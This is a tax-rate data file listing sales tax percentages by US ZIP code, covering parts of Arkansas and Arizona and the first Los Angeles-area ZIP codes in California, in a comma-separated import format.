US-AR-72944,US,AR,72944,7.75,,,, US-AR-72945,US,AR,72945,7.75,,,, US-AR-72946,US,AR,72946,7.5,,,, US-AR-72947,US,AR,72947,7.5,,,, US-AR-72948,US,AR,72948,7.5,,,, US-AR-72949,US,AR,72949,8,,,, US-AR-72950,US,AR,72950,9.125,,,, US-AR-72951,US,AR,72951,7.5,,,, US-AR-72952,US,AR,72952,7.5,,,, US-AR-72955,US,AR,72955,7.5,,,, US-AR-72956,US,AR,72956,9.5,,,, US-AR-72957,US,AR,72957,9.5,,,, US-AR-72958,US,AR,72958,9.125,,,, US-AR-72959,US,AR,72959,7.75,,,, US-AZ-85001,US,AZ,85001,8.3,,,, US-AZ-85002,US,AZ,85002,8.3,,,, US-AZ-85003,US,AZ,85003,8.3,,,, US-AZ-85004,US,AZ,85004,8.3,,,, US-AZ-85005,US,AZ,85005,8.3,,,, US-AZ-85006,US,AZ,85006,8.3,,,, US-AZ-85007,US,AZ,85007,8.3,,,, US-AZ-85008,US,AZ,85008,8.3,,,, US-AZ-85009,US,AZ,85009,8.3,,,, US-AZ-85010,US,AZ,85010,8.3,,,, US-AZ-85011,US,AZ,85011,8.3,,,, US-AZ-85012,US,AZ,85012,8.3,,,, US-AZ-85013,US,AZ,85013,8.3,,,, US-AZ-85014,US,AZ,85014,8.3,,,, US-AZ-85015,US,AZ,85015,8.3,,,, US-AZ-85016,US,AZ,85016,8.3,,,, US-AZ-85017,US,AZ,85017,8.3,,,, US-AZ-85018,US,AZ,85018,8.3,,,, US-AZ-85019,US,AZ,85019,8.3,,,, US-AZ-85020,US,AZ,85020,8.3,,,, US-AZ-85021,US,AZ,85021,8.3,,,, US-AZ-85022,US,AZ,85022,8.3,,,, US-AZ-85023,US,AZ,85023,8.3,,,, US-AZ-85024,US,AZ,85024,8.3,,,, US-AZ-85025,US,AZ,85025,8.3,,,, US-AZ-85026,US,AZ,85026,8.3,,,, US-AZ-85027,US,AZ,85027,8.3,,,, US-AZ-85028,US,AZ,85028,8.3,,,, US-AZ-85029,US,AZ,85029,8.3,,,, US-AZ-85030,US,AZ,85030,8.3,,,, US-AZ-85031,US,AZ,85031,8.3,,,, US-AZ-85032,US,AZ,85032,8.3,,,, US-AZ-85033,US,AZ,85033,8.3,,,, US-AZ-85034,US,AZ,85034,8.3,,,, US-AZ-85035,US,AZ,85035,8.3,,,, US-AZ-85036,US,AZ,85036,8.3,,,, US-AZ-85037,US,AZ,85037,8.3,,,, US-AZ-85038,US,AZ,85038,8.3,,,, US-AZ-85039,US,AZ,85039,6.3,,,, US-AZ-85040,US,AZ,85040,8.3,,,, US-AZ-85041,US,AZ,85041,8.3,,,, US-AZ-85042,US,AZ,85042,8.3,,,, US-AZ-85043,US,AZ,85043,8.3,,,, US-AZ-85044,US,AZ,85044,8.3,,,, US-AZ-85045,US,AZ,85045,8.3,,,, US-AZ-85046,US,AZ,85046,8.3,,,, US-AZ-85048,US,AZ,85048,8.3,,,, US-AZ-85050,US,AZ,85050,8.3,,,, US-AZ-85051,US,AZ,85051,8.3,,,, US-AZ-85053,US,AZ,85053,8.3,,,, US-AZ-85054,US,AZ,85054,8.3,,,, US-AZ-85060,US,AZ,85060,8.3,,,, US-AZ-85061,US,AZ,85061,8.3,,,, US-AZ-85062,US,AZ,85062,8.3,,,, US-AZ-85063,US,AZ,85063,8.3,,,, US-AZ-85064,US,AZ,85064,8.3,,,, US-AZ-85065,US,AZ,85065,8.3,,,, US-AZ-85066,US,AZ,85066,8.3,,,, US-AZ-85067,US,AZ,85067,8.3,,,, US-AZ-85068,US,AZ,85068,8.3,,,, US-AZ-85069,US,AZ,85069,8.3,,,, US-AZ-85070,US,AZ,85070,8.3,,,, US-AZ-85071,US,AZ,85071,8.3,,,, US-AZ-85072,US,AZ,85072,8.3,,,, US-AZ-85073,US,AZ,85073,6.3,,,, US-AZ-85074,US,AZ,85074,8.3,,,, US-AZ-85075,US,AZ,85075,8.3,,,, US-AZ-85076,US,AZ,85076,8.3,,,, US-AZ-85078,US,AZ,85078,8.3,,,, US-AZ-85079,US,AZ,85079,8.3,,,, US-AZ-85080,US,AZ,85080,8.3,,,, US-AZ-85082,US,AZ,85082,8.3,,,, US-AZ-85083,US,AZ,85083,8.3,,,, US-AZ-85085,US,AZ,85085,8.3,,,, US-AZ-85086,US,AZ,85086,6.3,,,, US-AZ-85087,US,AZ,85087,6.3,,,, US-AZ-85097,US,AZ,85097,8.3,,,, US-AZ-85098,US,AZ,85098,8.3,,,, US-AZ-85117,US,AZ,85117,8.9,,,, US-AZ-85118,US,AZ,85118,6.7,,,, US-AZ-85119,US,AZ,85119,8.9,,,, US-AZ-85120,US,AZ,85120,8.9,,,, US-AZ-85121,US,AZ,85121,6.7,,,, US-AZ-85122,US,AZ,85122,8.5,,,, US-AZ-85123,US,AZ,85123,8.5,,,, US-AZ-85127,US,AZ,85127,8.55,,,, US-AZ-85128,US,AZ,85128,9.7,,,, US-AZ-85130,US,AZ,85130,8.5,,,, US-AZ-85131,US,AZ,85131,9.7,,,, US-AZ-85132,US,AZ,85132,6.7,,,, US-AZ-85135,US,AZ,85135,9.6,,,, US-AZ-85137,US,AZ,85137,6.7,,,, US-AZ-85138,US,AZ,85138,8.7,,,, US-AZ-85139,US,AZ,85139,6.7,,,, US-AZ-85140,US,AZ,85140,6.7,,,, US-AZ-85141,US,AZ,85141,6.7,,,, US-AZ-85142,US,AZ,85142,8.55,,,, US-AZ-85143,US,AZ,85143,6.7,,,, US-AZ-85145,US,AZ,85145,6.7,,,, US-AZ-85147,US,AZ,85147,6.7,,,, US-AZ-85172,US,AZ,85172,6.7,,,, US-AZ-85173,US,AZ,85173,8.7,,,, US-AZ-85178,US,AZ,85178,8.9,,,, US-AZ-85190,US,AZ,85190,8.9,,,, US-AZ-85191,US,AZ,85191,6.7,,,, US-AZ-85192,US,AZ,85192,6.7,,,, US-AZ-85193,US,AZ,85193,6.7,,,, US-AZ-85194,US,AZ,85194,6.7,,,, US-AZ-85201,US,AZ,85201,8.05,,,, US-AZ-85202,US,AZ,85202,8.05,,,, US-AZ-85203,US,AZ,85203,8.05,,,, US-AZ-85204,US,AZ,85204,8.05,,,, US-AZ-85205,US,AZ,85205,8.05,,,, US-AZ-85206,US,AZ,85206,8.05,,,, US-AZ-85207,US,AZ,85207,8.05,,,, US-AZ-85208,US,AZ,85208,8.05,,,, US-AZ-85209,US,AZ,85209,8.05,,,, US-AZ-85210,US,AZ,85210,8.05,,,, US-AZ-85211,US,AZ,85211,8.05,,,, US-AZ-85212,US,AZ,85212,8.05,,,, US-AZ-85213,US,AZ,85213,8.05,,,, US-AZ-85214,US,AZ,85214,8.05,,,, US-AZ-85215,US,AZ,85215,8.05,,,, US-AZ-85216,US,AZ,85216,8.05,,,, US-AZ-85224,US,AZ,85224,7.8,,,, US-AZ-85225,US,AZ,85225,7.8,,,, US-AZ-85226,US,AZ,85226,7.8,,,, US-AZ-85233,US,AZ,85233,7.8,,,, US-AZ-85234,US,AZ,85234,7.8,,,, US-AZ-85236,US,AZ,85236,7.8,,,, US-AZ-85244,US,AZ,85244,7.8,,,, US-AZ-85246,US,AZ,85246,7.8,,,, US-AZ-85248,US,AZ,85248,7.8,,,, US-AZ-85249,US,AZ,85249,7.8,,,, US-AZ-85250,US,AZ,85250,7.95,,,, US-AZ-85251,US,AZ,85251,7.95,,,, US-AZ-85252,US,AZ,85252,7.95,,,, US-AZ-85253,US,AZ,85253,8.8,,,, US-AZ-85254,US,AZ,85254,8.3,,,, US-AZ-85255,US,AZ,85255,7.95,,,, US-AZ-85256,US,AZ,85256,7.95,,,, US-AZ-85257,US,AZ,85257,7.95,,,, US-AZ-85258,US,AZ,85258,7.95,,,, US-AZ-85259,US,AZ,85259,7.95,,,, US-AZ-85260,US,AZ,85260,7.95,,,, US-AZ-85261,US,AZ,85261,7.95,,,, US-AZ-85262,US,AZ,85262,7.95,,,, US-AZ-85263,US,AZ,85263,6.3,,,, US-AZ-85264,US,AZ,85264,6.3,,,, US-AZ-85266,US,AZ,85266,7.95,,,, US-AZ-85267,US,AZ,85267,7.95,,,, US-AZ-85268,US,AZ,85268,8.9,,,, US-AZ-85269,US,AZ,85269,8.9,,,, US-AZ-85271,US,AZ,85271,7.95,,,, US-AZ-85274,US,AZ,85274,8.05,,,, US-AZ-85275,US,AZ,85275,8.05,,,, US-AZ-85277,US,AZ,85277,8.05,,,, US-AZ-85280,US,AZ,85280,8.3,,,, US-AZ-85281,US,AZ,85281,8.3,,,, US-AZ-85282,US,AZ,85282,8.3,,,, US-AZ-85283,US,AZ,85283,8.3,,,, US-AZ-85284,US,AZ,85284,8.3,,,, US-AZ-85285,US,AZ,85285,8.3,,,, US-AZ-85286,US,AZ,85286,7.8,,,, US-AZ-85287,US,AZ,85287,8.3,,,, US-AZ-85295,US,AZ,85295,7.8,,,, US-AZ-85296,US,AZ,85296,7.8,,,, US-AZ-85297,US,AZ,85297,7.8,,,, US-AZ-85298,US,AZ,85298,7.8,,,, US-AZ-85299,US,AZ,85299,7.8,,,, US-AZ-85301,US,AZ,85301,9.2,,,, US-AZ-85302,US,AZ,85302,9.2,,,, US-AZ-85303,US,AZ,85303,9.2,,,, US-AZ-85304,US,AZ,85304,9.2,,,, US-AZ-85305,US,AZ,85305,9.2,,,, US-AZ-85306,US,AZ,85306,9.2,,,, US-AZ-85307,US,AZ,85307,9.2,,,, US-AZ-85308,US,AZ,85308,9.2,,,, US-AZ-85309,US,AZ,85309,9.2,,,, US-AZ-85310,US,AZ,85310,8.3,,,, US-AZ-85311,US,AZ,85311,9.2,,,, US-AZ-85312,US,AZ,85312,9.2,,,, US-AZ-85318,US,AZ,85318,9.2,,,, US-AZ-85320,US,AZ,85320,6.3,,,, US-AZ-85321,US,AZ,85321,6.1,,,, US-AZ-85322,US,AZ,85322,6.3,,,, US-AZ-85323,US,AZ,85323,8.8,,,, US-AZ-85324,US,AZ,85324,6.35,,,, US-AZ-85325,US,AZ,85325,7.6,,,, US-AZ-85326,US,AZ,85326,9.3,,,, US-AZ-85327,US,AZ,85327,9.3,,,, US-AZ-85328,US,AZ,85328,7.6,,,, US-AZ-85329,US,AZ,85329,8.8,,,, US-AZ-85331,US,AZ,85331,8.3,,,, US-AZ-85332,US,AZ,85332,6.35,,,, US-AZ-85333,US,AZ,85333,6.712,,,, US-AZ-85334,US,AZ,85334,7.6,,,, US-AZ-85335,US,AZ,85335,9.3,,,, US-AZ-85336,US,AZ,85336,10.712,,,, US-AZ-85337,US,AZ,85337,9.3,,,, US-AZ-85338,US,AZ,85338,8.8,,,, US-AZ-85339,US,AZ,85339,8.3,,,, US-AZ-85340,US,AZ,85340,6.3,,,, US-AZ-85341,US,AZ,85341,6.1,,,, US-AZ-85342,US,AZ,85342,6.3,,,, US-AZ-85343,US,AZ,85343,9.3,,,, US-AZ-85344,US,AZ,85344,7.6,,,, US-AZ-85345,US,AZ,85345,8.1,,,, US-AZ-85346,US,AZ,85346,10.1,,,, US-AZ-85347,US,AZ,85347,6.712,,,, US-AZ-85348,US,AZ,85348,7.6,,,, US-AZ-85349,US,AZ,85349,10.712,,,, US-AZ-85350,US,AZ,85350,6.712,,,, US-AZ-85351,US,AZ,85351,6.3,,,, US-AZ-85352,US,AZ,85352,6.712,,,, US-AZ-85353,US,AZ,85353,8.3,,,, US-AZ-85354,US,AZ,85354,6.3,,,, US-AZ-85355,US,AZ,85355,6.3,,,, US-AZ-85356,US,AZ,85356,9.212,,,, US-AZ-85357,US,AZ,85357,7.6,,,, US-AZ-85358,US,AZ,85358,8.5,,,, US-AZ-85359,US,AZ,85359,10.1,,,, US-AZ-85360,US,AZ,85360,5.85,,,, US-AZ-85361,US,AZ,85361,6.3,,,, US-AZ-85362,US,AZ,85362,6.35,,,, US-AZ-85363,US,AZ,85363,9.3,,,, US-AZ-85364,US,AZ,85364,8.412,,,, US-AZ-85365,US,AZ,85365,8.412,,,, US-AZ-85366,US,AZ,85366,8.412,,,, US-AZ-85367,US,AZ,85367,6.712,,,, US-AZ-85369,US,AZ,85369,8.412,,,, US-AZ-85371,US,AZ,85371,9.6,,,, US-AZ-85372,US,AZ,85372,6.3,,,, US-AZ-85373,US,AZ,85373,6.3,,,, US-AZ-85374,US,AZ,85374,8.5,,,, US-AZ-85375,US,AZ,85375,6.3,,,, US-AZ-85376,US,AZ,85376,6.3,,,, US-AZ-85377,US,AZ,85377,9.3,,,, US-AZ-85378,US,AZ,85378,8.5,,,, US-AZ-85379,US,AZ,85379,8.5,,,, US-AZ-85380,US,AZ,85380,8.1,,,, US-AZ-85381,US,AZ,85381,8.1,,,, US-AZ-85382,US,AZ,85382,8.1,,,, US-AZ-85383,US,AZ,85383,8.1,,,, US-AZ-85385,US,AZ,85385,8.1,,,, US-AZ-85387,US,AZ,85387,8.5,,,, US-AZ-85388,US,AZ,85388,8.5,,,, US-AZ-85390,US,AZ,85390,8.5,,,, US-AZ-85392,US,AZ,85392,8.8,,,, US-AZ-85395,US,AZ,85395,8.8,,,, US-AZ-85396,US,AZ,85396,9.3,,,, US-AZ-85501,US,AZ,85501,8.6,,,, US-AZ-85502,US,AZ,85502,8.6,,,, US-AZ-85530,US,AZ,85530,6.1,,,, US-AZ-85531,US,AZ,85531,6.1,,,, US-AZ-85532,US,AZ,85532,6.6,,,, US-AZ-85533,US,AZ,85533,6.1,,,, US-AZ-85534,US,AZ,85534,6.1,,,, US-AZ-85535,US,AZ,85535,8.1,,,, US-AZ-85536,US,AZ,85536,6.1,,,, US-AZ-85539,US,AZ,85539,9.1,,,, US-AZ-85540,US,AZ,85540,9.1,,,, US-AZ-85541,US,AZ,85541,8.72,,,, US-AZ-85542,US,AZ,85542,6.6,,,, US-AZ-85543,US,AZ,85543,8.1,,,, US-AZ-85544,US,AZ,85544,6.6,,,, US-AZ-85545,US,AZ,85545,6.6,,,, US-AZ-85546,US,AZ,85546,8.6,,,, US-AZ-85547,US,AZ,85547,8.72,,,, US-AZ-85548,US,AZ,85548,8.6,,,, US-AZ-85550,US,AZ,85550,6.6,,,, US-AZ-85551,US,AZ,85551,6.1,,,, US-AZ-85552,US,AZ,85552,8.6,,,, US-AZ-85553,US,AZ,85553,6.6,,,, US-AZ-85554,US,AZ,85554,6.6,,,, US-AZ-85601,US,AZ,85601,6.1,,,, US-AZ-85602,US,AZ,85602,8.6,,,, US-AZ-85603,US,AZ,85603,8.6,,,, US-AZ-85605,US,AZ,85605,6.1,,,, US-AZ-85606,US,AZ,85606,6.1,,,, US-AZ-85607,US,AZ,85607,8.9,,,, US-AZ-85608,US,AZ,85608,8.9,,,, US-AZ-85609,US,AZ,85609,6.1,,,, US-AZ-85610,US,AZ,85610,6.1,,,, US-AZ-85611,US,AZ,85611,6.6,,,, US-AZ-85613,US,AZ,85613,7.85,,,, US-AZ-85614,US,AZ,85614,6.1,,,, US-AZ-85615,US,AZ,85615,6.1,,,, US-AZ-85616,US,AZ,85616,6.1,,,, US-AZ-85617,US,AZ,85617,6.1,,,, US-AZ-85618,US,AZ,85618,8.7,,,, US-AZ-85619,US,AZ,85619,6.1,,,, US-AZ-85620,US,AZ,85620,6.1,,,, US-AZ-85621,US,AZ,85621,8.6,,,, US-AZ-85622,US,AZ,85622,6.1,,,, US-AZ-85623,US,AZ,85623,6.7,,,, US-AZ-85624,US,AZ,85624,6.6,,,, US-AZ-85625,US,AZ,85625,6.1,,,, US-AZ-85626,US,AZ,85626,6.1,,,, US-AZ-85627,US,AZ,85627,6.1,,,, US-AZ-85628,US,AZ,85628,8.6,,,, US-AZ-85629,US,AZ,85629,8.1,,,, US-AZ-85630,US,AZ,85630,6.1,,,, US-AZ-85631,US,AZ,85631,6.7,,,, US-AZ-85632,US,AZ,85632,6.1,,,, US-AZ-85633,US,AZ,85633,6.1,,,, US-AZ-85634,US,AZ,85634,6.1,,,, US-AZ-85635,US,AZ,85635,7.85,,,, US-AZ-85636,US,AZ,85636,7.85,,,, US-AZ-85637,US,AZ,85637,6.1,,,, US-AZ-85638,US,AZ,85638,9.6,,,, US-AZ-85639,US,AZ,85639,6.1,,,, US-AZ-85640,US,AZ,85640,6.6,,,, US-AZ-85641,US,AZ,85641,6.1,,,, US-AZ-85643,US,AZ,85643,6.1,,,, US-AZ-85644,US,AZ,85644,9.1,,,, US-AZ-85645,US,AZ,85645,6.1,,,, US-AZ-85646,US,AZ,85646,6.6,,,, US-AZ-85648,US,AZ,85648,6.6,,,, US-AZ-85650,US,AZ,85650,6.1,,,, US-AZ-85652,US,AZ,85652,8.1,,,, US-AZ-85653,US,AZ,85653,6.1,,,, US-AZ-85654,US,AZ,85654,8.1,,,, US-AZ-85655,US,AZ,85655,8.9,,,, US-AZ-85658,US,AZ,85658,8.1,,,, US-AZ-85662,US,AZ,85662,8.6,,,, US-AZ-85670,US,AZ,85670,7.85,,,, US-AZ-85671,US,AZ,85671,6.1,,,, US-AZ-85701,US,AZ,85701,8.1,,,, US-AZ-85702,US,AZ,85702,8.1,,,, US-AZ-85703,US,AZ,85703,8.1,,,, US-AZ-85704,US,AZ,85704,6.1,,,, US-AZ-85705,US,AZ,85705,8.1,,,, US-AZ-85706,US,AZ,85706,8.1,,,, US-AZ-85707,US,AZ,85707,8.1,,,, US-AZ-85708,US,AZ,85708,8.1,,,, US-AZ-85709,US,AZ,85709,8.1,,,, US-AZ-85710,US,AZ,85710,8.1,,,, US-AZ-85711,US,AZ,85711,8.1,,,, US-AZ-85712,US,AZ,85712,8.1,,,, US-AZ-85713,US,AZ,85713,8.1,,,, US-AZ-85714,US,AZ,85714,8.1,,,, US-AZ-85715,US,AZ,85715,8.1,,,, US-AZ-85716,US,AZ,85716,8.1,,,, US-AZ-85717,US,AZ,85717,8.1,,,, US-AZ-85718,US,AZ,85718,6.1,,,, US-AZ-85719,US,AZ,85719,8.1,,,, US-AZ-85720,US,AZ,85720,6.1,,,, US-AZ-85721,US,AZ,85721,8.1,,,, US-AZ-85722,US,AZ,85722,8.1,,,, US-AZ-85723,US,AZ,85723,8.1,,,, US-AZ-85724,US,AZ,85724,8.1,,,, US-AZ-85725,US,AZ,85725,8.6,,,, US-AZ-85726,US,AZ,85726,8.1,,,, US-AZ-85728,US,AZ,85728,8.1,,,, US-AZ-85730,US,AZ,85730,8.1,,,, US-AZ-85731,US,AZ,85731,8.1,,,, US-AZ-85732,US,AZ,85732,8.1,,,, US-AZ-85733,US,AZ,85733,8.1,,,, US-AZ-85734,US,AZ,85734,8.1,,,, US-AZ-85735,US,AZ,85735,6.1,,,, US-AZ-85736,US,AZ,85736,6.1,,,, US-AZ-85737,US,AZ,85737,8.1,,,, US-AZ-85738,US,AZ,85738,6.1,,,, US-AZ-85739,US,AZ,85739,6.7,,,, US-AZ-85740,US,AZ,85740,6.1,,,, US-AZ-85741,US,AZ,85741,6.1,,,, US-AZ-85742,US,AZ,85742,6.1,,,, US-AZ-85743,US,AZ,85743,6.1,,,, US-AZ-85744,US,AZ,85744,8.1,,,, US-AZ-85745,US,AZ,85745,8.1,,,, US-AZ-85746,US,AZ,85746,6.1,,,, US-AZ-85747,US,AZ,85747,8.1,,,, US-AZ-85748,US,AZ,85748,8.1,,,, US-AZ-85749,US,AZ,85749,6.1,,,, US-AZ-85750,US,AZ,85750,6.1,,,, US-AZ-85751,US,AZ,85751,8.1,,,, US-AZ-85752,US,AZ,85752,6.1,,,, US-AZ-85754,US,AZ,85754,8.1,,,, US-AZ-85755,US,AZ,85755,8.1,,,, US-AZ-85756,US,AZ,85756,6.1,,,, US-AZ-85757,US,AZ,85757,6.1,,,, US-AZ-85775,US,AZ,85775,6.1,,,, US-AZ-85901,US,AZ,85901,8.1,,,, US-AZ-85902,US,AZ,85902,8.1,,,, US-AZ-85911,US,AZ,85911,8.1,,,, US-AZ-85912,US,AZ,85912,8.1,,,, US-AZ-85920,US,AZ,85920,6.1,,,, US-AZ-85922,US,AZ,85922,6.1,,,, US-AZ-85923,US,AZ,85923,6.1,,,, US-AZ-85924,US,AZ,85924,6.1,,,, US-AZ-85925,US,AZ,85925,9.1,,,, US-AZ-85926,US,AZ,85926,6.1,,,, US-AZ-85927,US,AZ,85927,6.1,,,, US-AZ-85928,US,AZ,85928,6.1,,,, US-AZ-85929,US,AZ,85929,6.1,,,, US-AZ-85930,US,AZ,85930,6.1,,,, US-AZ-85931,US,AZ,85931,6.1,,,, US-AZ-85932,US,AZ,85932,6.1,,,, US-AZ-85933,US,AZ,85933,6.1,,,, US-AZ-85934,US,AZ,85934,6.1,,,, US-AZ-85935,US,AZ,85935,6.1,,,, US-AZ-85936,US,AZ,85936,9.1,,,, US-AZ-85937,US,AZ,85937,8.1,,,, US-AZ-85938,US,AZ,85938,9.1,,,, US-AZ-85939,US,AZ,85939,8.1,,,, US-AZ-85940,US,AZ,85940,6.1,,,, US-AZ-85941,US,AZ,85941,6.1,,,, US-AZ-85942,US,AZ,85942,8.1,,,, US-AZ-86001,US,AZ,86001,8.446,,,, US-AZ-86002,US,AZ,86002,8.446,,,, US-AZ-86003,US,AZ,86003,8.446,,,, US-AZ-86004,US,AZ,86004,8.446,,,, US-AZ-86005,US,AZ,86005,8.446,,,, US-AZ-86011,US,AZ,86011,8.446,,,, US-AZ-86015,US,AZ,86015,8.446,,,, US-AZ-86016,US,AZ,86016,6.725,,,, US-AZ-86017,US,AZ,86017,8.446,,,, US-AZ-86018,US,AZ,86018,8.446,,,, US-AZ-86020,US,AZ,86020,6.725,,,, US-AZ-86021,US,AZ,86021,7.85,,,, US-AZ-86022,US,AZ,86022,5.85,,,, US-AZ-86023,US,AZ,86023,6.725,,,, US-AZ-86024,US,AZ,86024,6.725,,,, US-AZ-86025,US,AZ,86025,9.1,,,, US-AZ-86028,US,AZ,86028,8.446,,,, US-AZ-86029,US,AZ,86029,8.446,,,, US-AZ-86030,US,AZ,86030,6.1,,,, US-AZ-86031,US,AZ,86031,8.446,,,, US-AZ-86032,US,AZ,86032,6.1,,,, US-AZ-86033,US,AZ,86033,6.1,,,, US-AZ-86034,US,AZ,86034,6.1,,,, US-AZ-86035,US,AZ,86035,8.446,,,, US-AZ-86036,US,AZ,86036,9.725,,,, US-AZ-86038,US,AZ,86038,6.725,,,, US-AZ-86039,US,AZ,86039,6.1,,,, US-AZ-86040,US,AZ,86040,9.725,,,, US-AZ-86042,US,AZ,86042,6.1,,,, US-AZ-86043,US,AZ,86043,6.1,,,, US-AZ-86044,US,AZ,86044,6.725,,,, US-AZ-86045,US,AZ,86045,6.725,,,, US-AZ-86046,US,AZ,86046,6.725,,,, US-AZ-86047,US,AZ,86047,9.1,,,, US-AZ-86052,US,AZ,86052,5.85,,,, US-AZ-86053,US,AZ,86053,6.725,,,, US-AZ-86054,US,AZ,86054,6.725,,,, US-AZ-86301,US,AZ,86301,8.35,,,, US-AZ-86302,US,AZ,86302,8.35,,,, US-AZ-86303,US,AZ,86303,8.35,,,, US-AZ-86304,US,AZ,86304,8.35,,,, US-AZ-86305,US,AZ,86305,6.35,,,, US-AZ-86312,US,AZ,86312,8.68,,,, US-AZ-86313,US,AZ,86313,8.35,,,, US-AZ-86314,US,AZ,86314,8.68,,,, US-AZ-86315,US,AZ,86315,6.35,,,, US-AZ-86320,US,AZ,86320,6.35,,,, US-AZ-86321,US,AZ,86321,6.35,,,, US-AZ-86322,US,AZ,86322,9.35,,,, US-AZ-86323,US,AZ,86323,10.35,,,, US-AZ-86324,US,AZ,86324,9.35,,,, US-AZ-86325,US,AZ,86325,6.35,,,, US-AZ-86326,US,AZ,86326,9.35,,,, US-AZ-86327,US,AZ,86327,6.35,,,, US-AZ-86329,US,AZ,86329,8.35,,,, US-AZ-86331,US,AZ,86331,9.85,,,, US-AZ-86332,US,AZ,86332,6.35,,,, US-AZ-86333,US,AZ,86333,6.35,,,, US-AZ-86334,US,AZ,86334,6.35,,,, US-AZ-86335,US,AZ,86335,6.35,,,, US-AZ-86336,US,AZ,86336,9.35,,,, US-AZ-86337,US,AZ,86337,6.35,,,, US-AZ-86338,US,AZ,86338,6.35,,,, US-AZ-86339,US,AZ,86339,9.725,,,, US-AZ-86340,US,AZ,86340,9.35,,,, US-AZ-86341,US,AZ,86341,6.35,,,, US-AZ-86342,US,AZ,86342,6.35,,,, US-AZ-86343,US,AZ,86343,6.35,,,, US-AZ-86351,US,AZ,86351,6.35,,,, US-AZ-86401,US,AZ,86401,8.35,,,, US-AZ-86402,US,AZ,86402,8.35,,,, US-AZ-86403,US,AZ,86403,7.85,,,, US-AZ-86404,US,AZ,86404,7.85,,,, US-AZ-86405,US,AZ,86405,7.85,,,, US-AZ-86406,US,AZ,86406,7.85,,,, US-AZ-86409,US,AZ,86409,5.85,,,, US-AZ-86411,US,AZ,86411,5.85,,,, US-AZ-86412,US,AZ,86412,5.85,,,, US-AZ-86413,US,AZ,86413,5.85,,,, US-AZ-86426,US,AZ,86426,5.85,,,, US-AZ-86427,US,AZ,86427,7.85,,,, US-AZ-86429,US,AZ,86429,7.85,,,, US-AZ-86430,US,AZ,86430,7.85,,,, US-AZ-86431,US,AZ,86431,5.85,,,, US-AZ-86432,US,AZ,86432,5.85,,,, US-AZ-86433,US,AZ,86433,5.85,,,, US-AZ-86434,US,AZ,86434,5.85,,,, US-AZ-86435,US,AZ,86435,6.725,,,, US-AZ-86436,US,AZ,86436,5.85,,,, US-AZ-86437,US,AZ,86437,5.85,,,, US-AZ-86438,US,AZ,86438,5.85,,,, US-AZ-86439,US,AZ,86439,7.85,,,, US-AZ-86440,US,AZ,86440,5.85,,,, US-AZ-86441,US,AZ,86441,5.85,,,, US-AZ-86442,US,AZ,86442,7.85,,,, US-AZ-86443,US,AZ,86443,8.35,,,, US-AZ-86444,US,AZ,86444,5.85,,,, US-AZ-86445,US,AZ,86445,5.85,,,, US-AZ-86446,US,AZ,86446,5.85,,,, US-AZ-86502,US,AZ,86502,6.1,,,, US-AZ-86503,US,AZ,86503,6.1,,,, US-AZ-86504,US,AZ,86504,6.1,,,, US-AZ-86505,US,AZ,86505,6.1,,,, US-AZ-86506,US,AZ,86506,6.1,,,, US-AZ-86507,US,AZ,86507,6.1,,,, US-AZ-86508,US,AZ,86508,6.1,,,, US-AZ-86510,US,AZ,86510,6.1,,,, US-AZ-86511,US,AZ,86511,6.1,,,, US-AZ-86512,US,AZ,86512,6.1,,,, US-AZ-86514,US,AZ,86514,6.1,,,, US-AZ-86515,US,AZ,86515,6.1,,,, US-AZ-86520,US,AZ,86520,6.1,,,, US-AZ-86535,US,AZ,86535,6.1,,,, US-AZ-86538,US,AZ,86538,6.1,,,, US-AZ-86540,US,AZ,86540,6.1,,,, US-AZ-86545,US,AZ,86545,6.1,,,, US-AZ-86547,US,AZ,86547,6.1,,,, US-AZ-86556,US,AZ,86556,6.1,,,, US-CA-90001,US,CA,90001,9,,,, US-CA-90002,US,CA,90002,9,,,, US-CA-90003,US,CA,90003,9,,,, US-CA-90004,US,CA,90004,9,,,, US-CA-90005,US,CA,90005,9,,,, US-CA-90006,US,CA,90006,9,,,, US-CA-90007,US,CA,90007,9,,,, US-CA-90008,US,CA,90008,9,,,, US-CA-90009,US,CA,90009,9,,,, US-CA-90010,US,CA,90010,9,,,, US-CA-90011,US,CA,90011,9,,,, US-CA-90012,US,CA,90012,9,,,, US-CA-90013,US,CA,90013,9,,,, US-CA-90014,US,CA,90014,9,,,, US-CA-90015,US,CA,90015,9,,,, US-CA-90016,US,CA,90016,9,,,, US-CA-90017,US,CA,90017,9,,,, US-CA-90018,US,CA,90018,9,,,, US-CA-90019,US,CA,90019,9,,,, US-CA-90020,US,CA,90020,9,,,, US-CA-90021,US,CA,90021,9,,,, US-CA-90022,US,CA,90022,9,,,, US-CA-90023,US,CA,90023,9,,,, US-CA-90024,US,CA,90024,9,,,, US-CA-90025,US,CA,90025,9,,,, US-CA-90026,US,CA,90026,9,,,, US-CA-90027,US,CA,90027,9,,,, US-CA-90028,US,CA,90028,9,,,, US-CA-90029,US,CA,90029,9,,,, US-CA-90030,US,CA,90030,9,,,, US-CA-90031,US,CA,90031,9,,,, US-CA-90032,US,CA,90032,9,,,, US-CA-90033,US,CA,90033,9,,,, US-CA-90034,US,CA,90034,9,,,, US-CA-90035,US,CA,90035,9,,,, US-CA-90036,US,CA,90036,9,,,, US-CA-90037,US,CA,90037,9,,,, US-CA-90038,US,CA,90038,9,,,, US-CA-90039,US,CA,90039,9,,,, US-CA-90040,US,CA,90040,9.5,,,, US-CA-90041,US,CA,90041,9,,,, US-CA-90042,US,CA,90042,9,,,, US-CA-90043,US,CA,90043,9,,,, US-CA-90044,US,CA,90044,9,,,, US-CA-90045,US,CA,90045,9,,,, US-CA-90046,US,CA,90046,9,,,, US-CA-90047,US,CA,90047,9,,,, US-CA-90048,US,CA,90048,9,,,, US-CA-90049,US,CA,90049,9,,,, US-CA-90050,US,CA,90050,9,,,, US-CA-90051,US,CA,90051,9,,,, US-CA-90052,US,CA,90052,9,,,, US-CA-90053,US,CA,90053,9,,,, US-CA-90054,US,CA,90054,9,,,, US-CA-90055,US,CA,90055,9,,,, US-CA-90056,US,CA,90056,9,,,, US-CA-90057,US,CA,90057,9,,,, US-CA-90058,US,CA,90058,9,,,, US-CA-90059,US,CA,90059,9,,,, US-CA-90060,US,CA,90060,9,,,, US-CA-90061,US,CA,90061,9,,,, US-CA-90062,US,CA,90062,9,,,, US-CA-90063,US,CA,90063,9,,,, US-CA-90064,US,CA,90064,9,,,, US-CA-90065,US,CA,90065,9,,,, US-CA-90066,US,CA,90066,9,,,, US-CA-90067,US,CA,90067,9,,,, US-CA-90068,US,CA,90068,9,,,, US-CA-90069,US,CA,90069,9,,,, US-CA-90070,US,CA,90070,9,,,, US-CA-90071,US,CA,90071,9,,,, 